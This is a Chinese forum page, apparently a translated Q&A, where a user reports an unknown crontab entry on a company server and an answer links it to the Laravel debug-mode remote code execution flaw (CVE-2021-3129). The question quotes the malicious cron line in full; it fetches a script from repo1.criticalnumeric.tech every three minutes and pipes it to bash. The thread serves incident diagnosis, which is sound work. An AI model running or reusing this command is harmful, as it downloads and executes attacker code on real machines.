时间戳

首页 > 解决方案 > 有人知道吗：repo1.criticalnumeric.tech

cron - 有人知道吗：repo1.criticalnumeric.tech

问题描述

我发现在公司服务器中有一个使用以下代码运行的 crontab：

*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -O - | bash

如果您访问该 URL，它会显示：

“这是存储库 linux 的官方页面”

这很奇怪，我们的工程师都没有在 crontab 上添加这个，这让我觉得这可能是一次攻击。

有什么想法吗？

标签： cronclient-side-attacks

解决方案

如果您的服务器正在托管使用Laravel框架构建的 Web 应用程序，并且您的调试模式已打开，那么您可能正在遭受最近的 RCE（远程代码执行）漏洞利用。

关于 bug 技术细节的博文：https ://www.ambionics.io/blog/laravel-debug-rce

CVE：https ://nvd.nist.gov/vuln/detail/CVE-2021-3129

我的专业建议：永远不要在生产环境中打开调试模式运行您的应用程序。

推荐阅读